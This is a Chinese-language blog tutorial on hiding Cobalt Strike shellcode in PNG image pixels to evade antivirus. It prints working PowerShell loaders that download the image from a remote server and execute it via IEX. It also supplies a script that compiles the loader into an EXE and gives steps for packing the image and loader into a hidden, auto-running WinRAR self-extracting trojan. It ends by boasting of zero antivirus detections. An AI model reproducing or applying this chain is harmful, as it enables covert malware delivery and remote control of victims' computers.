<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    免殺|利用RGB隱寫隱藏Shellcode

    VSole2021-09-26 10:06:40

    前言本篇文章將演示利用隱寫術將 Shellcode 隱寫入 PNG 圖片 RGB 像素中,從而隱藏后門代碼,并進行遠程加載控制目標主機。

    實戰演示需要使用 Invoke-PSImage 工具:

    ?項目地址:https://github.com/peewpw/Invoke-PSImage

    首先使用 Cobalt Strike 生成 Powershell 類型(.ps1)的

    image-20210921133427498

    然后將剛才生成的 payload.ps1 文件放在 Invoke-PSImage 項目內,再準備一張圖片用于生成一張帶有 Shellcode 的圖片,二者與 Invoke-PSImage.ps1 文件在同一目錄:

    image-2021092116235638

    遠程加載

    執行以下命令即可生成一個帶有 Shellcode 的圖片 shell.png:

    # 設置執行策略
    Set-ExecutionPolicy Unrestricted -Scope CurrentUser
    # 導入 Invoke-PSimage.ps1 文件
    Import-Module .\Invoke-PSimage.ps1
    # 生成帶有 Shellcode 的圖片
    Invoke-PSImage -Script .\payload.ps1 -Image .\origin.jpg -Out .\shell.png -Web
    

    image-20210921162516197

    執行之后得到一串代碼:

    sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/shell.png"));$o=a Byte[] 5120;(0..1)|%{foreach($x in(0..2559)){$p=$g.GetPixel($x,$_);$o[$_*2560+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))
    

    并且會得到帶有 Shellcode 的圖片 shell.png:

    image-20210921162640820

    接著,我們在自己的 VPS 上開啟一個 Web 服務,用于托管得到的 shell.png:

    image-20210921135950506

    然后將上面得到的代碼中的 http://example.com/shell.png 改為我們自己的 Web 服務地址:

    sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://47.101.57.72/shell.png"));$o=a Byte[] 5120;(0..1)|%{foreach($x in(0..2559)){$p=$g.GetPixel($x,$_);$o[$_*2560+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))
    

    在目標主機上執行這段代碼后目標機成功上線:

    image-20210921163837141

    我們還可以將上面那段加載的命令編譯生成可執行文件,這里我們直接使用網上找的腳本進行編譯:

    ?Convert-PS1ToExe.ps1

    function Convert-PS1ToExe
    {
        param(
        [Parameter(Mandatory=$true)]
        [ValidateScript({$true})]
        [ValidateNotNullOrEmpty()]   
        [IO.FileInfo]$ScriptFile
        )
        if( -not $ScriptFile.Exists)
        {
            Write-Warning "$ScriptFile not exits."
            return
        }
     
        [string]$csharpCode = @'
        using System;
        using System.IO;
        using System.Reflection;
        using System.Diagnostics;
        namespace LoadXmlTestConsole
        {
            public class ConsoleWriter
            {
                private static void Proc_OutputDataReceived(object sender, System.Diagnostics.DataReceivedEventArgs e)
                {
                    Process pro = sender as Process;
                    Console.WriteLine(e.Data);
                }
                static void Main(string[] args)
                {
                    // Set title of console
                    Console.Title = "Powered by PSTips.Net";
     
                    // read script from resource
                    Assembly ase = Assembly.GetExecutingAssembly();
                    string scriptName = ase.GetManifestResourceNames()[0];
                    string scriptContent = string.Empty;
                    using (Stream stream = ase.GetManifestResourceStream(scriptName))
                    using (StreamReader reader = new StreamReader(stream))
                    {
                        scriptContent = reader.ReadToEnd();
                    }
     
                    string scriptFile = Environment.ExpandEnvironmentVariables(string.Format("%temp%\\{0}", scriptName));
                    try
                    {
                        // output script file to temp path
                        File.WriteAllText(scriptFile, scriptContent);
     
                        ProcessStartInfo proInfo = new ProcessStartInfo();
                        proInfo.FileName = "PowerShell.exe";
                        proInfo.CreateNoWindow = true;
                        proInfo.RedirectStandardOutput = true;
                        proInfo.UseShellExecute = false;
                        proInfo.Arguments = string.Format(" -File {0}",scriptFile);
     
                        var proc = Process.Start(proInfo);
                        proc.OutputDataReceived += Proc_OutputDataReceived;
                        proc.BeginOutputReadLine();
                        proc.WaitForExit();
                        Console.WriteLine("Hit any key to continue...");
                        Console.ReadKey();
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine("Hit Exception: {0}", ex.Message);
                    }
                    finally
                    {
                        // delete temp file
                        if (File.Exists(scriptFile))
                        {
                            File.Delete(scriptFile);
                        }
                    }
     
                }
     
            }
        }
    '@
     
        # $providerDict
        $providerDict = New-Object 'System.Collections.Generic.Dictionary[[string],[string]]'
        $providerDict.Add('CompilerVersion','v4.0')
        $codeCompiler = [Microsoft.CSharp.CSharpCodeProvider]$providerDict
     
        # Create the optional compiler parameters
        $compilerParameters = New-Object 'System.CodeDom.Compiler.CompilerParameters'
        $compilerParameters.GenerateExecutable = $true
        $compilerParameters.GenerateInMemory = $true
        $compilerParameters.WarningLevel = 3
        $compilerParameters.TreatWarningsAsErrors = $false
        $compilerParameters.CompilerOptions = '/optimize'
        $outputExe = Join-Path $ScriptFile.Directory "$($ScriptFile.BaseName).exe"
        $compilerParameters.OutputAssembly =  $outputExe
        $compilerParameters.EmbeddedResources.Add($ScriptFile.FullName) > $null
        $compilerParameters.ReferencedAssemblies.Add( [System.Diagnostics.Process].Assembly.Location ) > $null
     
        # Compile Assembly
        $compilerResult = $codeCompiler.CompileAssemblyFromSource($compilerParameters,$csharpCode)
     
        # Print compiler errors
        if($compilerResult.Errors.HasErrors)
        {
            Write-Host 'Compile faield. See error message as below:' -ForegroundColor Red
            $compilerResult.Errors | foreach {
                Write-Warning ('{0},[{1},{2}],{3}' -f $_.ErrorNumber,$_.Line,$_.Column,$_.ErrorText )
            }
        }
        else
        {
             Write-Host 'Compile succeed.' -ForegroundColor Green
             "Output executable file to '$outputExe'"
        }
    }
    

    首先將那段用于加載 Shellcode 的命令寫入文件 Loader.ps1 中:

    然后執行以下命令,使用 Convert-PS1ToExe.ps1 將 Loader.ps1 編譯成 EXE:

    Import-Module .\Convert-PS1ToExe.ps1
    Convert-PS1ToExe -ScriptFile .\Loader.ps1
    

    將生成的 exe.jpg 上傳到目標主機并執行:

    image-20210921172516131

    如上圖所示,目標機成功上線。美中不足的是有個彈窗。

    使用遠程加載固然方便,但是由于生成的圖片非常大,遠程加載所耗的時間較長,所以我們可以盡可能的本地加載。

    本地加載

    執行以下命令即可生成一個帶有 Shellcode 的圖片 shell.png:

    # 設置執行策略
    Set-ExecutionPolicy Unrestricted -Scope CurrentUser
    # 導入 Invoke-PSimage.ps1 文件
    Import-Module .\Invoke-PSimage.ps1
    # 生成帶有 Shellcode 的圖片
    Invoke-PSImage -Script .\payload.ps1 -Image .\origin.jpg -Out .\shell.png
    

    image-20210921164514521

    如上圖所示,生成了包含 Shellcode 的圖片 shell.png 與加載 Shellcode 使用的代碼:

    sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap(".\shell.png");$o=a Byte[] 5120;(0..1)|%{foreach($x in(0..2559)){$p=$g.GetPixel($x,$_);$o[$_*2560+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))
    

    執行上面的命令,在本地加載圖片里的 Shellcode:

    如上圖所示,成功上線。

    下面,我們將這種本地加載中的加載命令也用之前的方式編譯成可執行文件:

    此時執行 Loader.exe 便可以加載 shell.png 中的 Shellcode,但二者必須在同一目錄下。為了方便,我們還需要完善一下。

    這里我們參考使用 WinRAR 自解壓捆綁木馬的思路,將 shell.png 和 Loader.exe 壓縮在一起,并設置成自解壓格式,那么當用戶運行時,二者便會被解壓到相同的目錄并自動執行 Loader.exe。

    首先,選中這兩個文件,鼠標右鍵,將這兩個文件添加到壓縮文件。點擊 “創建自解壓格式壓縮文件”,此時rar就會變成 exe 后綴的文件:

    然后點擊“高級”—>“自解壓文件選項”—>“常規”:

    設置解壓后文件的存儲路徑為 C:\WINDOWS\Temp

    然后,進入“安裝”(有的版本也叫“設置”),填入解壓完成后需要執行的程序:

    然后,進入“模式”,選擇模式為“全部隱藏”:

    然后,進入“更新”,將更新方式設置為“解壓并更新文件”,覆蓋方式設置為“覆蓋所有文件”:

    最后點擊確定,即可生成一個 Desktop.exe 的文件:

    image-20210921175013158

    運行 Desktop.exe 即可成功上線:

    image-20210921175436599

    免殺測試將生成的 shell.png 扔到 virustotal 上面去測試,查殺率為 0/57:

    shell免殺
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    之前有看到goby反制和松鼠A師傅蟻劍反制的文章,再想到之前寫過sqlmap的shell,覺得思路其實差不多,就寫一篇sqlmap的反制吧。
    突破安全策略上線CS
    2021-10-29 08:09:17
    0x01 環境簡述&說明web打點getshell,webshell是冰蝎,權限為.net,權限很低,服務器為server 2016,目標不出網!0x02 為什么要上線cswebshell權限太低,限制性大,需要上線cs提權,因為cs是采用反射dll來加載pe程序,從而在執行一些敏感操作的時候能起到一定的bypass作用,例如mimikatz抓密碼等操作。
    星辰由凌日內部大佬花了兩天時間用php語言開發的帶ui的工具,使用者可上傳由冰蝎或者天蝎生成的webshell,動態自動生成webshell。目前只支持php和jsp,其它語言各位使用者可自己去編寫腳本實現。依賴:php5.6.7+mysql+nginx后臺管理:/admin功能:1、授權功能,用戶shell生成次數限制。
    前言 今天本來想做個PS1的,但做的時候要用到cobaltstrike來生成ps1后門 剛開始的時候并不知道cobaltstrike是一個用于團隊項目的工具,所以過程中出現了很多問題。為了讓大家熟悉cobaltstrike的運行流程 感覺還是很有必要寫一篇有關cobaltstrike公網配置的文章。順便講一下一個很不錯的腳本 新版本的CS要配合linux服務端才能運行起來。更多操作等你們發現~ 原創:...
    這個世界充滿了待解決的迷人問題,做一個黑客有很多樂趣,但是需要頗費氣力才能獲得這些樂趣。這些動力需要動機。
    獲取到老的其他系統登錄口http://xxx.xxx.edu.cn/psy/Login2.aspx如圖,沒有任何驗證碼機制直接Burp Cluster bomb式爆破成功得到其他系統的弱口令admin,Aa123456但是老系統其他頁面已經除,無法正常登入后臺八嘎呀路,不是良民的干活!但推測新老系統用的同一個數據庫訪問新系統http://xxx.xxx.edu.cn/psy/Login.aspx使用密碼admin,Aa123456成功登陸后臺翻找上傳點上傳點在http://xxx.xxx.edu.cn/psy/ScaleManage/ScaleEdit.aspx?
    作為擁有著10年經驗的滲透安全測試工程師,一路也是從小白歷經磨難成長起來的我,給現在的新手小白一些建
    對于很多大佬來說肯定是十分熟悉的,弟弟我只能簡單的介紹下其簡介: cs擁有多種協議主機上線方式,集成了提權,憑據導出,端口轉發,socket代理,office攻擊,文件捆綁,釣魚等功能。同時,cs還可以調用Mimikatz等其他知名工具。0x03 實踐說的再多也不如拿真實情況來說話,實踐主要對上述的六種工具做下簡單的使用,并利用線上箱進行簡單的查殺檢測。接下來主要以3.12為主。
    前言提到webshell,方法無外乎對靜態特征的變形,編碼,或利用語言特性繞過。計算機中有很多符號,它們在編程語言中占據一席之地,這些符號作為運算符號,標識符號或起到特殊含義。本文以PHP為例介紹一些利用符號方法。WAF檢測通過對安全狗、護衛神、D盾等常見軟WAF的測試,發現WAF查殺主要依賴兩種檢測方法1.靜態檢測:通過匹配特征來查找webshell。如危險函數,文件特征碼等。例如 ${$my_var[8]}與${$my_var}[8]的區分${xxx} 括起來的要當成變量處理。
    ,又叫毒技術,是反病毒,反間諜的對立面,是一種能使病毒或木馬免于被毒軟件查殺的軟件。它除了使病毒木馬免于被查殺外,還可以擴增病毒木馬的功能,改變病毒木馬的行為。的基本特征是破壞特征,有可能是行為特征,只要破壞了病毒與木馬所固有的特征,并保證其原有功能沒有改變,一次就能完成了。技術也并不是十惡不赦的,例如,在軟件保護所用的加密產品(比如殼)中,有一些會被毒軟件認為是木馬病毒;
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类